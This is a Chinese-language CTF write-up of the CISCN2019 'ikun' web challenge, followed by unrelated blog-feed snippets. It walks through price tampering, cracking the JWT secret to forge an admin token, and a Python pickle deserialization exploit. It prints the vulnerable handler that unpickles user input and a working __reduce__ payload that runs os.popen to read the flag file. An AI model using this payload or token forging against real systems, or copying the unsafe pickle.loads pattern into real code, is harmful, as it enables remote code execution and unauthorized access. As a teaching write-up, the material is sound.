news 2026/1/6 13:13:33

[CISCN2019 华北赛区 Day1 Web2]ikun

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
[CISCN2019 华北赛区 Day1 Web2]ikun

第一次做pickle反序列化

1.打开题目是这个页面

信息收集一下

目录扫描无可用信息、翻看源码,发现提示

感觉这个lv6就是提示,因为首页面下方对应的就是等级

寻找一下lv6

这里发现他的页数是可控的

然后lv等级数也是有规则的

那么只需要写个脚本,遍历他的页数,然后再搜索页面内容带有lv6.png字段的网页不就行了

脚本如下:

在181页面找到了lv6.png

查看一下

逻辑漏洞利用

打开到了一个结算页面,里面有优惠券,但是还是很贵买不起,抓包看看能不能进行一个修改

发现他的价钱还是1145……,然后后面打了一个8折,但是上面页面上出现的是91611……,那么他的优惠价是原价*0.8,那么这里将0.8变成0.0000001,那么价钱是不是就低了,实践一下

发现有一个路径/b1g_m4mber,点击跟随重定向看看到哪里了

JWT密钥爆破和伪造

这个页面两点注意,一是右边的只允许admin访问,左边是一个jwt编码,那么这个admin应该是通过jwt伪造的

解码发现里面有一个username字段,但是后面的 名字是我刚才注册的,后面还有一段加密的数据,这里使用c-jwt-cracher爆破一下密钥

密钥为1Kun,然后再伪造username为admin

进行一个替换,放回包到浏览器看看

这里有一个一键成为大会员,点击没啥反应,再看一下源码

2.分析代码

这里有一个www.zip,下载下来看看

在Admin.py下发现了是pickle反序列化

import tornado.web from sshop.base import BaseHandler import pickle import urllib class AdminHandler(BaseHandler): @tornado.web.authenticated def get(self, *args, **kwargs): if self.current_user == "admin": return self.render('form.html', res='This is Black Technology!', member=0) else: return self.render('no_ass.html') @tornado.web.authenticated def post(self, *args, **kwargs): try: become = self.get_argument('become') p = pickle.loads(urllib.unquote(become)) return self.render('form.html', res=p, member=1) except: return self.render('form.html', res='This is Black Technology!', member=0)

首先是导入一个Tornado web框架的主要模块,tornado.web,用来构建web应用

BaseHandler:这个类从sshop.base模块导入,通常用于定义处理HTTP请求的基本类

pickle:python的标准库,用于序列化和反序列化对象

urllib:python2的用于URL操作,unquote方法可以解码url编码的字符串

AdminHandler类:

这个类继承自BaseHandler,处理管理后台相关的请求。他有两个方法GET和POST请求

get方法:

这个方法会在用于通过浏览器请求一个页面时被调用。

@tornado.web.authenticated:这个装饰器表示用于必须已经通过身份认证才能访问此方法

self.current_user=="admin":表示检查当前用于是否是admin,如果是,则渲染form.html页面,并传递res='This is Black Technology!'和member=0给页面。如果不是,则渲染no_ass.html页面,表示没权限访问

post方法:

这个方法会在用户提交表单时被调用,通常用于处理表单数据。

self.get_argument('become'):获取表单种名为become的字段值。

然后首先使用urllib.unquote对become字段进行URL解码,然后使用pickle.loads将其反序列化为python对象。

如果反序列化成功,则渲染form.html页面,并将反序列化后的对象p和member=1作为参数传递给页面

简述一下就是

首先身份认证也就是JWT中的username的值为admin,那么就能传入become参数,这个参数可以用于传递恶意的序列化值,这个序列化值也没什么过滤,他会对序列化字段进行一个url解码,然后就将他进行进行反序列化操作

3.开始构造

这里也是构造链子,首先确认他的python环境是需要使用python2,其次是他没进行任何过滤,可以使用任意函数和模块,然后就是他会使用unquote进行一个解码,然后再反序列化,那么只需要将命令进行一个url编码,然后再序列化,从become传入,就能成功执行成功了

这个时候可以使用python魔术方法中的__reduce__,这是一个特殊的魔术方法,当使用pickle序列化对象时,__reduce__返回一个元组,告诉pickle如何恢复对象,那么让他返回的元组的值为我么们构造的命令执行语句,那么返回他就会让命令成功执行

可以这样写

import pickle import urllib class AdminHandler(object): def __reduce__(self): return (eval,("__import__('os').popen('cat /flag.txt').read()",)) b=pickle.dumps(AdminHandler()) b=urllib.quote(b) print(b)

首先是导入pickle和urllib,让AdminHandler继承一个object基类,然后定义一个__reduce__方法,然后里面的参数是当前对象,返回值为(eval,("__import__('os').popen('cat /flag.txt').read()",)),然后在进行一个实例化类,再进行一个反序列化,随后再让他进行一个url编码,最后打印出来

所以这个脚本的目的就是

在反序列化的时候会触发那个__reduce__方法,然后调用eval,__import__导入os模块,在调用系统命令popen,执行cat /flag.txt,并使用read进行读取文件内容

然后使用python2运行脚本

随后传入上去,得到flag

4.知识点

这题考验了

信息收集能力,JWT爆破密钥并进行伪造,pickle反序列化

首先是JWT爆破密钥,使用的是c-jwt-cracher工具进行一个爆破

关键还是pickle反序列化

这是python的一个反序列化,是将类对象向字节流转化从而进行存储和传输,然后使用的时候再将字节流转化为原始的对象的一个过程。

python中序列化的一般有两种方式,pickle模块和json模块,前者是python特有的格式,后者是json通用的格式。

然后是python序列化和反序列化相关函数

pickle.dump(obj,file):将对象序列化后保存到文件

pickle.load(file):读取文件,将文件中的序列化内容反序列化为对象

pickle.dumps(obj):将对象序列化成字符串格式的字节流

pickle.loads(bytes_obj):将字符串格式的字节流反序列化为对象

魔术方法

__reduce__():反序列化时调用

必须返回一个元组,元素的第一个元素是一个可调用对象,第二个元素是要传递给该可调用对象的参数

__reduce_ex__():反序列化时调用

和__reduce__相似,返回一个可调用对象和构造该对象所需的参数

__getstate__():反序列化时调用

返回一个字典,该字典表示对象的状态。通过修改这个字典,可以控制对象被序列化的内容。

__setstate__():反序列化时调用

将反序列化的状态数据设置回对象的属性,他接收一个参数,这个参数是对象的状态数据(通常是字典形式),可以通过它恢复对象的状态

只列举了它的使用方法,具体利用原理因为牵扯到栈还有opcode指令集和PVM,还需要再进行了解

参考文章:

https://blog.csdn.net/weixin_62808713/article/details/130048382

https://xz.aliyun.com/news/13498

https://www.cnblogs.com/DSchenzi/p/19271665

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2025/12/17 0:31:54

19、Vim 搜索与匹配技巧全解析

Vim 搜索与匹配技巧全解析 正则表达式开关 在进行搜索时,创建正则表达式是一项常见需求。在非常非魔术搜索(very nomagic search)中创建正则表达式虽可行,但由于要对每个符号进行转义,操作起来比较麻烦。一般规则是:若要搜索正则表达式,使用 \v 模式开关;若要搜索逐…

作者头像 李华
网站建设 2025/12/17 0:31:44

LobeChat股票行情数据获取与展示

LobeChat 股票行情数据获取与展示 在金融信息快速迭代的今天,投资者对实时、精准且易于理解的股票行情数据需求愈发迫切。传统的金融终端虽然功能强大,但操作复杂、学习成本高;而普通用户更希望像聊天一样,随口问一句“宁德时代现…

作者头像 李华
网站建设 2025/12/24 13:31:17

记录宴会排查

1.大概能看出来是前后端数据不一致,因为有错误码,但是没看出来为啥。2.宴会数据是在中心服,客户端在宴会界面断开后,没有请求Info, 给客户端同步消息时,客户端已经断线,导致不一致,客户端连上后…

作者头像 李华
网站建设 2025/12/17 0:30:58

LobeChat消费者行为预测模型

LobeChat消费者行为预测模型 在电商运营的日常中,一个常见的场景是:市场经理打开电脑,输入“帮我看看用户U12345最近有没有复购可能?”几秒钟后,系统不仅列出了该用户的浏览轨迹和加购记录,还自动生成了一段…

作者头像 李华
网站建设 2025/12/17 0:30:26

基于C#的FTP客户端实现方案

基于C#的FTP客户端实现方案,整合了多种协议特性和工程优化,支持文件传输、目录操作及异常处理:一、核心类实现(支持被动模式/二进制传输) using System; using System.IO; using System.Net; using System.Net.Sockets…

作者头像 李华
网站建设 2025/12/30 5:38:25

深入理解 C# 中 new 关键字的三重核心语义

在 C# 编程中,new 是一个几乎每天都会用到的关键字,但它的职责并不单一。根据使用场景的不同,new 在语言层面承担着 三种完全不同的语义角色: 1. 作为运算符: 创建对象或结构体实例 2. 作为修饰符: 隐藏基类…

作者头像 李华